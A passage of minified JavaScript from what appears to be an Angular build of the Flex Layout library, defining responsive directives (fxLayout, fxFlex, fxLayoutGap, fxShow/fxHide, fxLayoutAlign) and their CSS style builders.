_t((0,n.LFG)(w),(0,n.LFG)(P),(0,n.LFG)(Ie))},token:_t,providedIn:"root"}),_t})())();function c1(It,_t,kt,Fe){if(void 0!==Fe){let be=It.get(_t);be||(be=new Map,It.set(_t,be)),be.set(kt,Fe)}}},1600:(At,ae,d)=>{"use strict";d.d(ae,{aT:()=>bt,b8:()=>se,oO:()=>G});var n=d(4650),a=d(6895),s=d(5107),u=d(1281),c=d(7625);d(1481);let H=(()=>(()=>{class De extends s.iR{constructor(ve,We,xt,Be,pe,P,w){super(ve,null,We,xt),this.ngClassInstance=w,this.DIRECTIVE_KEY="ngClass",this.ngClassInstance||(this.ngClassInstance=new a.mk(Be,pe,ve,P)),this.init(),this.setValue("","")}set klass(ve){this.ngClassInstance.klass=ve,this.setValue(ve,"")}updateWithValue(ve){this.ngClassInstance.ngClass=ve,this.ngClassInstance.ngDoCheck()}ngDoCheck(){this.ngClassInstance.ngDoCheck()}}return De.\\u0275fac=function(ve){return new(ve||De)(n.Y36(n.SBq),n.Y36(s.RK),n.Y36(s.yB),n.Y36(n.ZZ4),n.Y36(n.aQg),n.Y36(n.Qsj),n.Y36(a.mk,10))},De.\\u0275dir=n.lG2({type:De,inputs:{klass:["class","klass"]},features:[n.qOj]}),De})())();const j=["ngClass","ngClass.xs","ngClass.sm","ngClass.md","ngClass.lg","ngClass.xl","ngClass.lt-sm","ngClass.lt-md","ngClass.lt-lg","ngClass.lt-xl","ngClass.gt-xs","ngClass.gt-sm","ngClass.gt-md","ngClass.gt-lg"];let G=(()=>(()=>{class De extends H{constructor(){super(...arguments),this.inputs=j}}return De.\\u0275fac=function(){let re;return function(We){return(re||(re=n.n5z(De)))(We||De)}}(),De.\\u0275dir=n.lG2({type:De,selectors:[["","ngClass",""],["","ngClass.xs",""],["","ngClass.sm",""],["","ngClass.md",""],["","ngClass.lg",""],["","ngClass.xl",""],["","ngClass.lt-sm",""],["","ngClass.lt-md",""],["","ngClass.lt-lg",""],["","ngClass.lt-xl",""],["","ngClass.gt-xs",""],["","ngClass.gt-sm",""],["","ngClass.gt-md",""],["","ngClass.gt-lg",""]],inputs:{ngClass:"ngClass","ngClass.xs":"ngClass.xs","ngClass.sm":"ngClass.sm","ngClass.md":"ngClass.md","ngClass.lg":"ngClass.lg","ngClass.xl":"ngClass.xl","ngClass.lt-sm":"ngClass.lt-sm","ngClass.lt-md":"ngClass.lt-md","ngClass.lt-lg":"ngClass.lt-lg","ngClass.lt-xl":"ngClass.lt-xl","ngClass.gt-xs":"ngClass.gt-xs","ngClass.gt-sm":"ngClass.gt-sm","ngClass.gt-md":"ngClass.gt-md","ngClass.gt-lg":"ngClass.gt-lg"},features:[n.qOj]}),De})())(),Q=(()=>(()=>{class De extends s.QI{buildStyles(ve,We){return{display:"true"===ve?We.display||(We.isServer?"initial":""):"none"}}}return De.\\u0275fac=function(){let re;return function(We){return(re||(re=n.n5z(De)))(We||De)}}(),De.\\u0275prov=(0,n.Yz7)({factory:function(){return new De},token:De,providedIn:"root"}),De})())(),oe=(()=>(()=>{class De extends s.iR{constructor(ve,We,xt,Be,pe,P,w){super(ve,We,xt,Be),this.layoutConfig=pe,this.platformId=P,this.serverModuleLoaded=w,this.DIRECTIVE_KEY="show-hide",this.display="",this.hasLayout=!1,this.hasFlexChild=!1}ngAfterViewInit(){this.trackExtraTriggers();const ve=Array.from(this.nativeElement.children);for(let xt=0;xt<ve.length;xt++)if(this.marshal.hasValue(ve[xt],"flex")){this.hasFlexChild=!0;break}Ce.has(this.nativeElement)?this.display=Ce.get(this.nativeElement):(this.display=this.getDisplayStyle(),Ce.set(this.nativeElement,this.display)),this.init();const We=this.marshal.getValue(this.nativeElement,this.DIRECTIVE_KEY,"");void 0===We||""===We?this.setValue(!0,""):this.triggerUpdate()}ngOnChanges(ve){Object.keys(ve).forEach(We=>{if(-1!==this.inputs.indexOf(We)){const xt=We.split("."),Be=xt.slice(1).join("."),pe=ve[We].currentValue;let P=""===pe||0!==pe&&(0,u.Ig)(pe);"fxHide"===xt[0]&&(P=!P),this.setValue(P,Be)}})}trackExtraTriggers(){this.hasLayout=this.marshal.hasValue(this.nativeElement,"layout"),["layout","layout-align"].forEach(ve=>{this.marshal.trackValue(this.nativeElement,ve).pipe((0,c.R)(this.destroySubject)).subscribe(this.triggerUpdate.bind(this))})}getDisplayStyle(){return this.hasLayout||this.hasFlexChild&&this.layoutConfig.addFlexToParent?"flex":this.styler.lookupStyle(this.nativeElement,"display",!0)}updateWithValue(ve=!0){if(""===ve)return;const We=(0,a.PM)(this.platformId);this.addStyles(ve?"true":"false",{display:this.display,isServer:We}),We&&this.serverModuleLoaded&&this.nativeElement.style.setProperty("display",""),this.marshal.triggerUpdate(this.parentElement,"layout-gap")}}return De.\\u0275fac=function(ve){return new(ve||De)(n.Y36(n.SBq),n.Y36(Q),n.Y36(s.RK),n.Y36(s.yB),n.Y36(s.WU),n.Y36(n.Lbi),n.Y36(s.wY))},De.\\u0275dir=n.lG2({type:De,features:[n.qOj,n.TTD]}),De})())();const Ce=new WeakMap,k=["fxShow","fxShow.print","fxShow.xs","fxShow.sm","fxShow.md","fxShow.lg","fxShow.xl","fxShow.lt-sm","fxShow.lt-md","fxShow.lt-lg","fxShow.lt-xl","fxShow.gt-xs","fxShow.gt-sm","fxShow.gt-md","fxShow.gt-lg","fxHide","fxHide.print","fxHide.xs","fxHide.sm","fxHide.md","fxHide.lg","fxHide.xl","fxHide.lt-sm","fxHide.lt-md","fxHide.lt-lg","fxHide.lt-xl","fxHide.gt-xs","fxHide.gt-sm","fxHide.gt-md","fxHide.gt-lg"];let se=(()=>(()=>{class De extends oe{constructor(){super(...arguments),this.inputs=k}}return De.\\u0275fac=function(){let re;return function(We){return(re||(re=n.n5z(De)))(We||De)}}(),De.\\u0275dir=n.lG2({type:De,selectors:[["","fxShow",""],["","fxShow.print",""],["","fxShow.xs",""],["","fxShow.sm",""],["","fxShow.md",""],["","fxShow.lg",""],["","fxShow.xl",""],["","fxShow.lt-sm",""],["","fxShow.lt-md",""],["","fxShow.lt-lg",""],["","fxShow.lt-xl",""],["","fxShow.gt-xs",""],["","fxShow.gt-sm",""],["","fxShow.gt-md",""],["","fxShow.gt-lg",""],["","fxHide",""],["","fxHide.print",""],["","fxHide.xs",""],["","fxHide.sm",""],["","fxHide.md",""],["","fxHide.lg",""],["","fxHide.xl",""],["","fxHide.lt-sm",""],["","fxHide.lt-md",""],["","fxHide.lt-lg",""],["","fxHide.lt-xl",""],["","fxHide.gt-xs",""],["","fxHide.gt-sm",""],["","fxHide.gt-md",""],["","fxHide.gt-lg",""]],inputs:{fxShow:"fxShow","fxShow.print":"fxShow.print","fxShow.xs":"fxShow.xs","fxShow.sm":"fxShow.sm","fxShow.md":"fxShow.md","fxShow.lg":"fxShow.lg","fxShow.xl":"fxShow.xl","fxShow.lt-sm":"fxShow.lt-sm","fxShow.lt-md":"fxShow.lt-md","fxShow.lt-lg":"fxShow.lt-lg","fxShow.lt-xl":"fxShow.lt-xl","fxShow.gt-xs":"fxShow.gt-xs","fxShow.gt-sm":"fxShow.gt-sm","fxShow.gt-md":"fxShow.gt-md","fxShow.gt-lg":"fxShow.gt-lg",fxHide:"fxHide","fxHide.print":"fxHide.print","fxHide.xs":"fxHide.xs","fxHide.sm":"fxHide.sm","fxHide.md":"fxHide.md","fxHide.lg":"fxHide.lg","fxHide.xl":"fxHide.xl","fxHide.lt-sm":"fxHide.lt-sm","fxHide.lt-md":"fxHide.lt-md","fxHide.lt-lg":"fxHide.lt-lg","fxHide.lt-xl":"fxHide.lt-xl","fxHide.gt-xs":"fxHide.gt-xs","fxHide.gt-sm":"fxHide.gt-sm","fxHide.gt-md":"fxHide.gt-md","fxHide.gt-lg":"fxHide.gt-lg"},features:[n.qOj]}),De})())(),bt=(()=>(()=>{class De{}return De.\\u0275fac=function(ve){return new(ve||De)},De.\\u0275mod=n.oAB({type:De}),De.\\u0275inj=n.cJS({imports:[s.IR]}),De})())()},6784:(At,ae,d)=>{"use strict";d.d(ae,{o9:()=>vt});var n=d(4650),a=d(6895),s=d(5107),u=d(1600),c=d(4916);d(1281);let on=(()=>(()=>{class O{}return O.\\u0275fac=function(h){return new(h||O)},O.\\u0275mod=n.oAB({type:O}),O.\\u0275inj=n.cJS({imports:[s.IR]}),O})())(),vt=(()=>(()=>{class O{constructor(h,$){(0,a.PM)($)&&!h&&console.warn("Warning: Flex Layout loaded on the server without FlexLayoutServerModule")}static withConfig(h,$=[]){return{ngModule:O,providers:h.serverLoaded?[{provide:s.WU,useValue:Object.assign(Object.assign({},s.g5),h)},{provide:s.Bs,useValue:$,multi:!0},{provide:s.wY,useValue:!0}]:[{provide:s.WU,useValue:Object.assign(Object.assign({},s.g5),h)},{provide:s.Bs,useValue:$,multi:!0}]}}}return O.\\u0275fac=function(h){return new(h||O)(n.LFG(s.wY),n.LFG(n.Lbi))},O.\\u0275mod=n.oAB({type:O}),O.\\u0275inj=n.cJS({imports:[c.ae,u.aT,on,c.ae,u.aT,on]}),O})())()},4916:(At,ae,d)=>{"use strict";d.d(ae,{SQ:()=>q,Wh:()=>Fe,XD:()=>wt,ae:()=>jt,xw:()=>Q,yH:()=>re});var n=d(4650),a=d(5107),s=d(445),u=d(8929),c=d(7625);const f="inline",E=["row","column","row-reverse","column-reverse"];function S(pt){pt=pt?pt.toLowerCase():"";let[nt,fe,Ee]=pt.split(" ");return E.find(at=>at===nt)||(nt=E[0]),fe===f&&(fe=Ee!==f?Ee:"",Ee=f),[nt,C(fe),!!Ee]}function g(pt){let[nt]=S(pt);return nt.indexOf("row")>-1}function C(pt){if(pt)switch(pt.toLowerCase()){case"reverse":case"wrap-reverse":case"reverse-wrap":pt="wrap-reverse";break;case"no":case"none":case"nowrap":pt="nowrap";break;default:pt="wrap"}return pt}let H=(()=>(()=>{class nt extends a.QI{buildStyles(Ee){return function _(pt){let[nt,fe,Ee]=S(pt);return function z(pt,nt=null,fe=!1){return{display:fe?"inline-flex":"flex","box-sizing":"border-box","flex-direction":pt,"flex-wrap":nt||null}}(nt,fe,Ee)}(Ee)}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275prov=(0,n.Yz7)({factory:function(){return new nt},token:nt,providedIn:"root"}),nt})())();const j=["fxLayout","fxLayout.xs","fxLayout.sm","fxLayout.md","fxLayout.lg","fxLayout.xl","fxLayout.lt-sm","fxLayout.lt-md","fxLayout.lt-lg","fxLayout.lt-xl","fxLayout.gt-xs","fxLayout.gt-sm","fxLayout.gt-md","fxLayout.gt-lg"];let G=(()=>(()=>{class nt extends a.iR{constructor(Ee,at,Se,ot){super(Ee,Se,at,ot),this.DIRECTIVE_KEY="layout",this.styleCache=oe,this.init()}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.Y36(n.SBq),n.Y36(a.RK),n.Y36(H),n.Y36(a.yB))},nt.\\u0275dir=n.lG2({type:nt,features:[n.qOj]}),nt})())(),Q=(()=>(()=>{class nt extends G{constructor(){super(...arguments),this.inputs=j}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275dir=n.lG2({type:nt,selectors:[["","fxLayout",""],["","fxLayout.xs",""],["","fxLayout.sm",""],["","fxLayout.md",""],["","fxLayout.lg",""],["","fxLayout.xl",""],["","fxLayout.lt-sm",""],["","fxLayout.lt-md",""],["","fxLayout.lt-lg",""],["","fxLayout.lt-xl",""],["","fxLayout.gt-xs",""],["","fxLayout.gt-sm",""],["","fxLayout.gt-md",""],["","fxLayout.gt-lg",""]],inputs:{fxLayout:"fxLayout","fxLayout.xs":"fxLayout.xs","fxLayout.sm":"fxLayout.sm","fxLayout.md":"fxLayout.md","fxLayout.lg":"fxLayout.lg","fxLayout.xl":"fxLayout.xl","fxLayout.lt-sm":"fxLayout.lt-sm","fxLayout.lt-md":"fxLayout.lt-md","fxLayout.lt-lg":"fxLayout.lt-lg","fxLayout.lt-xl":"fxLayout.lt-xl","fxLayout.gt-xs":"fxLayout.gt-xs","fxLayout.gt-sm":"fxLayout.gt-sm","fxLayout.gt-md":"fxLayout.gt-md","fxLayout.gt-lg":"fxLayout.gt-lg"},features:[n.qOj]}),nt})())();const oe=new Map,Ce={"margin-left":null,"margin-right":null,"margin-top":null,"margin-bottom":null};let k=(()=>(()=>{class nt extends a.QI{constructor(Ee){super(),this._styler=Ee}buildStyles(Ee,at){return Ee.endsWith(le)?function Qe(pt,nt){const[fe,Ee]=pt.split(" "),Se=Rt=>`-${Rt}`;let ot="0px",Ne=Se(Ee||fe),ut="0px";return"rtl"===nt?ut=Se(fe):ot=Se(fe),{margin:`0px ${ot} ${Ne} ${ut}`}}(Ee=Ee.slice(0,Ee.indexOf(le)),at.directionality):{}}sideEffect(Ee,at,Se){const ot=Se.items;if(Ee.endsWith(le)){const Ne=function Oe(pt,nt){const[fe,Ee]=pt.split(" ");let Se="0px",Ne="0px";return"rtl"===nt?Ne=fe:Se=fe,{padding:`0px ${Se} ${Ee||fe} ${Ne}`}}(Ee=Ee.slice(0,Ee.indexOf(le)),Se.directionality);this._styler.applyStyleToElements(Ne,Se.items)}else{const Ne=ot.pop(),ut=function qe(pt,nt){const fe=Ye(nt.directionality,nt.layout),Ee=Object.assign({},Ce);return Ee[fe]=pt,Ee}(Ee,Se);this._styler.applyStyleToElements(ut,ot),this._styler.applyStyleToElements(Ce,[Ne])}}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.LFG(a.RK))},nt.\\u0275prov=(0,n.Yz7)({factory:function(){return new nt((0,n.LFG)(a.RK))},token:nt,providedIn:"root"}),nt})())();const K=["fxLayoutGap","fxLayoutGap.xs","fxLayoutGap.sm","fxLayoutGap.md","fxLayoutGap.lg","fxLayoutGap.xl","fxLayoutGap.lt-sm","fxLayoutGap.lt-md","fxLayoutGap.lt-lg","fxLayoutGap.lt-xl","fxLayoutGap.gt-xs","fxLayoutGap.gt-sm","fxLayoutGap.gt-md","fxLayoutGap.gt-lg"];let ee=(()=>(()=>{class nt extends a.iR{constructor(Ee,at,Se,ot,Ne,ut){super(Ee,Ne,ot,ut),this.zone=at,this.directionality=Se,this.styleUtils=ot,this.layout="row",this.DIRECTIVE_KEY="layout-gap",this.observerSubject=new u.xQ;const Rt=[this.directionality.change,this.observerSubject.asObservable()];this.init(Rt),this.marshal.trackValue(this.nativeElement,"layout").pipe((0,c.R)(this.destroySubject)).subscribe(this.onLayoutChange.bind(this))}get childrenNodes(){const Ee=this.nativeElement.children,at=[];for(let Se=Ee.length;Se--;)at[Se]=Ee[Se];return at}ngAfterContentInit(){this.buildChildObservable(),this.triggerUpdate()}ngOnDestroy(){super.ngOnDestroy(),this.observer&&this.observer.disconnect()}onLayoutChange(Ee){const Se=Ee.value.split(" ");this.layout=Se[0],E.find(ot=>ot===this.layout)||(this.layout="row"),this.triggerUpdate()}updateWithValue(Ee){const at=this.childrenNodes.filter(Se=>1===Se.nodeType&&this.willDisplay(Se)).sort((Se,ot)=>{const Ne=+this.styler.lookupStyle(Se,"order"),ut=+this.styler.lookupStyle(ot,"order");return isNaN(Ne)||isNaN(ut)||Ne===ut?0:Ne>ut?1:-1});if(at.length>0){const Se=this.directionality.value,ot=this.layout;"row"===ot&&"rtl"===Se?this.styleCache=we:"row"===ot&&"rtl"!==Se?this.styleCache=je:"column"===ot&&"rtl"===Se?this.styleCache=ce:"column"===ot&&"rtl"!==Se&&(this.styleCache=Ze),this.addStyles(Ee,{directionality:Se,items:at,layout:ot})}}clearStyles(){const Ee=Object.keys(this.mru).length>0,at=Ee?"padding":Ye(this.directionality.value,this.layout);Ee&&super.clearStyles(),this.styleUtils.applyStyleToElements({[at]:""},this.childrenNodes)}willDisplay(Ee){const at=this.marshal.getValue(Ee,"show-hide");return!0===at||void 0===at&&"none"!==this.styleUtils.lookupStyle(Ee,"display")}buildChildObservable(){this.zone.runOutsideAngular(()=>{typeof MutationObserver<"u"&&(this.observer=new MutationObserver(Ee=>{Ee.some(Se=>Se.addedNodes&&Se.addedNodes.length>0||Se.removedNodes&&Se.removedNodes.length>0)&&this.observerSubject.next()}),this.observer.observe(this.nativeElement,{childList:!0}))})}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.Y36(n.SBq),n.Y36(n.R0b),n.Y36(s.Is),n.Y36(a.RK),n.Y36(k),n.Y36(a.yB))},nt.\\u0275dir=n.lG2({type:nt,features:[n.qOj]}),nt})())(),q=(()=>(()=>{class nt extends ee{constructor(){super(...arguments),this.inputs=K}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275dir=n.lG2({type:nt,selectors:[["","fxLayoutGap",""],["","fxLayoutGap.xs",""],["","fxLayoutGap.sm",""],["","fxLayoutGap.md",""],["","fxLayoutGap.lg",""],["","fxLayoutGap.xl",""],["","fxLayoutGap.lt-sm",""],["","fxLayoutGap.lt-md",""],["","fxLayoutGap.lt-lg",""],["","fxLayoutGap.lt-xl",""],["","fxLayoutGap.gt-xs",""],["","fxLayoutGap.gt-sm",""],["","fxLayoutGap.gt-md",""],["","fxLayoutGap.gt-lg",""]],inputs:{fxLayoutGap:"fxLayoutGap","fxLayoutGap.xs":"fxLayoutGap.xs","fxLayoutGap.sm":"fxLayoutGap.sm","fxLayoutGap.md":"fxLayoutGap.md","fxLayoutGap.lg":"fxLayoutGap.lg","fxLayoutGap.xl":"fxLayoutGap.xl","fxLayoutGap.lt-sm":"fxLayoutGap.lt-sm","fxLayoutGap.lt-md":"fxLayoutGap.lt-md","fxLayoutGap.lt-lg":"fxLayoutGap.lt-lg","fxLayoutGap.lt-xl":"fxLayoutGap.lt-xl","fxLayoutGap.gt-xs":"fxLayoutGap.gt-xs","fxLayoutGap.gt-sm":"fxLayoutGap.gt-sm","fxLayoutGap.gt-md":"fxLayoutGap.gt-md","fxLayoutGap.gt-lg":"fxLayoutGap.gt-lg"},features:[n.qOj]}),nt})())();const we=new Map,ce=new Map,je=new Map,Ze=new Map,le=" grid";function Ye(pt,nt){switch(nt){case"column":return"margin-bottom";case"column-reverse":return"margin-top";case"row":default:return"rtl"===pt?"margin-left":"margin-right";case"row-reverse":return"rtl"===pt?"margin-right":"margin-left"}}function Ke(pt,...nt){if(null==pt)throw TypeError("Cannot convert undefined or null to object");for(let fe of nt)if(null!=fe)for(let Ee in fe)fe.hasOwnProperty(Ee)&&(pt[Ee]=fe[Ee]);return pt}let dt=(()=>(()=>{class nt extends a.QI{constructor(Ee){super(),this.layoutConfig=Ee}buildStyles(Ee,at){let[Se,ot,...Ne]=Ee.split(" "),ut=Ne.join(" ");const Rt=at.direction.indexOf("column")>-1?"column":"row",Zt=g(Rt)?"max-width":"max-height",a1=g(Rt)?"min-width":"min-height",_1=String(ut).indexOf("calc")>-1,G1=_1||"auto"===ut,gn=String(ut).indexOf("%")>-1&&!_1,nn=String(ut).indexOf("px")>-1||String(ut).indexOf("rem")>-1||String(ut).indexOf("em")>-1||String(ut).indexOf("vw")>-1||String(ut).indexOf("vh")>-1;let P1=_1||nn;Se="0"==Se?0:Se,ot="0"==ot?0:ot;const on=!Se&&!ot;let Ge={};const vt={"max-width":null,"max-height":null,"min-width":null,"min-height":null};switch(ut||""){case"":ut="row"===Rt?"0%":!1!==this.layoutConfig.useColumnBasisZero?"0.000000001px":"auto";break;case"initial":case"nogrow":Se=0,ut="auto";break;case"grow":ut="100%";break;case"noshrink":ot=0,ut="auto";break;case"auto":break;case"none":Se=0,ot=0,ut="auto";break;default:!P1&&!gn&&!isNaN(ut)&&(ut+="%"),"0%"===ut&&(P1=!0),"0px"===ut&&(ut="0%"),Ge=Ke(vt,_1?{"flex-grow":Se,"flex-shrink":ot,"flex-basis":P1?ut:"100%"}:{flex:`${Se} ${ot} ${P1?ut:"100%"}`})}return Ge.flex||Ge["flex-grow"]||(Ge=Ke(vt,_1?{"flex-grow":Se,"flex-shrink":ot,"flex-basis":ut}:{flex:`${Se} ${ot} ${ut}`})),"0%"!==ut&&"0px"!==ut&&"0.000000001px"!==ut&&"auto"!==ut&&(Ge[a1]=on||P1&&Se?ut:null,Ge[Zt]=on||!G1&&ot?ut:null),Ge[a1]||Ge[Zt]?at.hasWrap&&(Ge[_1?"flex-basis":"flex"]=Ge[Zt]?_1?Ge[Zt]:`${Se} ${ot} ${Ge[Zt]}`:_1?Ge[a1]:`${Se} ${ot} ${Ge[a1]}`):Ge=Ke(vt,_1?{"flex-grow":Se,"flex-shrink":ot,"flex-basis":ut}:{flex:`${Se} ${ot} ${ut}`}),Ke(Ge,{"box-sizing":"border-box"})}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.LFG(a.WU))},nt.\\u0275prov=(0,n.Yz7)({factory:function(){return new nt((0,n.LFG)(a.WU))},token:nt,providedIn:"root"}),nt})())();const bt=["fxFlex","fxFlex.xs","fxFlex.sm","fxFlex.md","fxFlex.lg","fxFlex.xl","fxFlex.lt-sm","fxFlex.lt-md","fxFlex.lt-lg","fxFlex.lt-xl","fxFlex.gt-xs","fxFlex.gt-sm","fxFlex.gt-md","fxFlex.gt-lg"];let De=(()=>(()=>{class nt extends a.iR{constructor(Ee,at,Se,ot,Ne){super(Ee,ot,at,Ne),this.layoutConfig=Se,this.marshal=Ne,this.DIRECTIVE_KEY="flex",this.direction=void 0,this.wrap=void 0,this.flexGrow="1",this.flexShrink="1",this.init()}get shrink(){return this.flexShrink}set shrink(Ee){this.flexShrink=Ee||"1",this.triggerReflow()}get grow(){return this.flexGrow}set grow(Ee){this.flexGrow=Ee||"1",this.triggerReflow()}ngOnInit(){this.parentElement&&(this.marshal.trackValue(this.parentElement,"layout").pipe((0,c.R)(this.destroySubject)).subscribe(this.onLayoutChange.bind(this)),this.marshal.trackValue(this.nativeElement,"layout-align").pipe((0,c.R)(this.destroySubject)).subscribe(this.triggerReflow.bind(this)))}onLayoutChange(Ee){const Se=Ee.value.split(" ");this.direction=Se[0],this.wrap=void 0!==Se[1]&&"wrap"===Se[1],this.triggerUpdate()}updateWithValue(Ee){void 0===this.direction&&(this.direction=this.getFlexFlowDirection(this.parentElement,!1!==this.layoutConfig.addFlexToParent)),void 0===this.wrap&&(this.wrap=this.hasWrap(this.parentElement));const Se=this.direction,ot=Se.startsWith("row"),Ne=this.wrap;ot&&Ne?this.styleCache=xt:ot&&!Ne?this.styleCache=ve:!ot&&Ne?this.styleCache=Be:!ot&&!Ne&&(this.styleCache=We);const ut=String(Ee).replace(";",""),Rt=(0,a.Ot)(ut,this.flexGrow,this.flexShrink);this.addStyles(Rt.join(" "),{direction:Se,hasWrap:Ne})}triggerReflow(){const Ee=this.activatedValue;if(void 0!==Ee){const at=(0,a.Ot)(Ee+"",this.flexGrow,this.flexShrink);this.marshal.updateElement(this.nativeElement,this.DIRECTIVE_KEY,at.join(" "))}}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.Y36(n.SBq),n.Y36(a.RK),n.Y36(a.WU),n.Y36(dt),n.Y36(a.yB))},nt.\\u0275dir=n.lG2({type:nt,inputs:{shrink:["fxShrink","shrink"],grow:["fxGrow","grow"]},features:[n.qOj]}),nt})())(),re=(()=>(()=>{class nt extends De{constructor(){super(...arguments),this.inputs=bt}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275dir=n.lG2({type:nt,selectors:[["","fxFlex",""],["","fxFlex.xs",""],["","fxFlex.sm",""],["","fxFlex.md",""],["","fxFlex.lg",""],["","fxFlex.xl",""],["","fxFlex.lt-sm",""],["","fxFlex.lt-md",""],["","fxFlex.lt-lg",""],["","fxFlex.lt-xl",""],["","fxFlex.gt-xs",""],["","fxFlex.gt-sm",""],["","fxFlex.gt-md",""],["","fxFlex.gt-lg",""]],inputs:{fxFlex:"fxFlex","fxFlex.xs":"fxFlex.xs","fxFlex.sm":"fxFlex.sm","fxFlex.md":"fxFlex.md","fxFlex.lg":"fxFlex.lg","fxFlex.xl":"fxFlex.xl","fxFlex.lt-sm":"fxFlex.lt-sm","fxFlex.lt-md":"fxFlex.lt-md","fxFlex.lt-lg":"fxFlex.lt-lg","fxFlex.lt-xl":"fxFlex.lt-xl","fxFlex.gt-xs":"fxFlex.gt-xs","fxFlex.gt-sm":"fxFlex.gt-sm","fxFlex.gt-md":"fxFlex.gt-md","fxFlex.gt-lg":"fxFlex.gt-lg"},features:[n.qOj]}),nt})())();const ve=new Map,We=new Map,xt=new Map,Be=new Map;let b=(()=>(()=>{class nt extends a.QI{buildStyles(Ee){const at={};switch(Ee=Ee||"stretch"){case"start":at["align-self"]="flex-start";break;case"end":at["align-self"]="flex-end";break;default:at["align-self"]=Ee}return at}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275prov=(0,n.Yz7)({factory:function(){return new nt},token:nt,providedIn:"root"}),nt})())();const B=["fxFlexAlign","fxFlexAlign.xs","fxFlexAlign.sm","fxFlexAlign.md","fxFlexAlign.lg","fxFlexAlign.xl","fxFlexAlign.lt-sm","fxFlexAlign.lt-md","fxFlexAlign.lt-lg","fxFlexAlign.lt-xl","fxFlexAlign.gt-xs","fxFlexAlign.gt-sm","fxFlexAlign.gt-md","fxFlexAlign.gt-lg"];let Xe=(()=>(()=>{class nt extends a.iR{constructor(Ee,at,Se,ot){super(Ee,Se,at,ot),this.DIRECTIVE_KEY="flex-align",this.styleCache=it,this.init()}}return nt.\\u0275fac=function(Ee){return new(Ee||nt)(n.Y36(n.SBq),n.Y36(a.RK),n.Y36(b),n.Y36(a.yB))},nt.\\u0275dir=n.lG2({type:nt,features:[n.qOj]}),nt})())();const it=new Map;let wt=(()=>(()=>{class nt extends Xe{constructor(){super(...arguments),this.inputs=B}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275dir=n.lG2({type:nt,selectors:[["","fxFlexAlign",""],["","fxFlexAlign.xs",""],["","fxFlexAlign.sm",""],["","fxFlexAlign.md",""],["","fxFlexAlign.lg",""],["","fxFlexAlign.xl",""],["","fxFlexAlign.lt-sm",""],["","fxFlexAlign.lt-md",""],["","fxFlexAlign.lt-lg",""],["","fxFlexAlign.lt-xl",""],["","fxFlexAlign.gt-xs",""],["","fxFlexAlign.gt-sm",""],["","fxFlexAlign.gt-md",""],["","fxFlexAlign.gt-lg",""]],inputs:{fxFlexAlign:"fxFlexAlign","fxFlexAlign.xs":"fxFlexAlign.xs","fxFlexAlign.sm":"fxFlexAlign.sm","fxFlexAlign.md":"fxFlexAlign.md","fxFlexAlign.lg":"fxFlexAlign.lg","fxFlexAlign.xl":"fxFlexAlign.xl","fxFlexAlign.lt-sm":"fxFlexAlign.lt-sm","fxFlexAlign.lt-md":"fxFlexAlign.lt-md","fxFlexAlign.lt-lg":"fxFlexAlign.lt-lg","fxFlexAlign.lt-xl":"fxFlexAlign.lt-xl","fxFlexAlign.gt-xs":"fxFlexAlign.gt-xs","fxFlexAlign.gt-sm":"fxFlexAlign.gt-sm","fxFlexAlign.gt-md":"fxFlexAlign.gt-md","fxFlexAlign.gt-lg":"fxFlexAlign.gt-lg"},features:[n.qOj]}),nt})())(),c1=(()=>(()=>{class nt extends a.QI{buildStyles(Ee,at){const Se={},[ot,Ne]=Ee.split(" ");switch(ot){case"center":Se["justify-content"]="center";break;case"space-around":Se["justify-content"]="space-around";break;case"space-between":Se["justify-content"]="space-between";break;case"space-evenly":Se["justify-content"]="space-evenly";break;case"end":case"flex-end":Se["justify-content"]="flex-end";break;default:Se["justify-content"]="flex-start"}switch(Ne){case"start":case"flex-start":Se["align-items"]=Se["align-content"]="flex-start";break;case"center":Se["align-items"]=Se["align-content"]="center";break;case"end":case"flex-end":Se["align-items"]=Se["align-content"]="flex-end";break;case"space-between":Se["align-content"]="space-between",Se["align-items"]="stretch";break;case"space-around":Se["align-content"]="space-around",Se["align-items"]="stretch";break;case"baseline":Se["align-content"]="stretch",Se["align-items"]="baseline";break;default:Se["align-items"]=Se["align-content"]="stretch"}return Ke(Se,{display:at.inline?"inline-flex":"flex","flex-direction":at.layout,"box-sizing":"border-box","max-width":"stretch"===Ne?g(at.layout)?null:"100%":null,"max-height":"stretch"===Ne&&g(at.layout)?"100%":null})}}return nt.\\u0275fac=function(){let fe;return function(at){return(fe||(fe=n.n5z(nt)))(at||nt)}}(),nt.\\u0275prov=(0,n.Yz7)({factory:function(){return new nt},token:nt,providedIn:"root"}),nt})())();const It=["fxLayoutAlign","fxLayoutAlign.xs","fxLayoutAlign.sm","fxLayoutAlign.md","fxLayoutAlign.lg","fxLayoutAlign.xl","fxLayoutAlign.lt-sm","fxLayoutAlign.lt-md","fxLayoutAlign.lt-lg","fxLayoutAlign.lt-xl","fxLayoutAlign.gt-xs","fxLayoutAlign.gt-sm","fxLayoutAlign.gt-md","fxLayoutAlign.gt-lg"];let kt=(()=>(()=>{class nt extends a.iR{constructor(Ee,at,Se,ot){super(Ee,Se,at,ot),this.DIRECTIVE_KEY="layout-align",this.layout="row",this.inline=!1,this.init(),this.marshal.trackValue(this.nativeElement,"layout").pipe((0,c.R)(this.destroySubject)).subscribe(this.onLayoutChange.bind(this))}updateWithValue(Ee){const 